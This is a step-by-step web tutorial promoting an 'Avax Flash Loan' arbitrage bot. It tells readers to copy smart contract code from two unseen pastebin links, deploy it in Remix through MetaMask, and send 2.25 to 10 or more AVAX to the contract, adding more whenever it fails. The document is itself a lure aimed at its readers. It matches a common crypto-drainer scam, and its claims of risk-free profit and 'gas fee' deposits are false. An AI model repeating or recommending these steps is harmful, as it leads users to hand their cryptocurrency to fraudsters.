The Avalanche blockchain offers a financial service called Avax Flash Loan, which enables users to swiftly borrow and return Avax—the network’s native cryptocurrency—in a single transaction without requiring collateral. Through the use of smart contracts, Avax Flash Loan gives users access to a sizable pool of money for a variety of uses, including arbitrage, liquidations, and seizing opportunities in the market that are time-sensitive.
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open https://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file avaxArbitrage.sol and paste the Flash Loan Smart Contract Code link below.
Updated Smart Contract Code Link –
https://pastebin.com/raw/FQuWBgnd
or
https://pastebin.com/raw/13YHmT35
5. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
6. Click on the Solidity Compiler and then click the blue button “Compile avaxArbitrage.sol”
7. Wait for the code to compile.
8. Click on Deploy & Run transactions and set “ENVIRONMENT” to (Injected Web3) OR (Injected Provider – MetaMask).
9. Connect your MetaMask wallet.
10. Click the arrow down on the “CONTRACT” and select “InitiateFlashLoan – avaxArbitrage.sol”
11. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
12. On “_TOKENNAME” MyToken
13. On “_TOKENSYMBOL” TOK
14. On “_LOANAMOUNT” 200
15. Click Transact and confirm the transaction in MetaMask.
16. Wait for the transaction to confirm.
17. Copy the address of the newly deployed contract.
18. Send AVAX to the deployed contract to initiate the swap 2.25 AVAX (10 AVAX up is better as you will get a bigger amount in each swap)
NOTE: UPDATED GAS AMOUNT FEE REQUIREMENT: 2.25 AVAX – 10 AVAX is required to perform arbitrage successfully depending on gwei.
19. Wait for the transaction to confirm.
20. Now, Click “flashloan” (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet
Note: if it doesn’t work with 2.25 AVAX try to send another 2.25 AVAX (10 is better), because fees may be different from day to day. (2.25 AVAX for each 200 AVAX you are borrowing)
Avoid using very low amounts as contract may fail below 2.25 AVAX
Make sure to transfer your Funds out to another wallet when you’re done.
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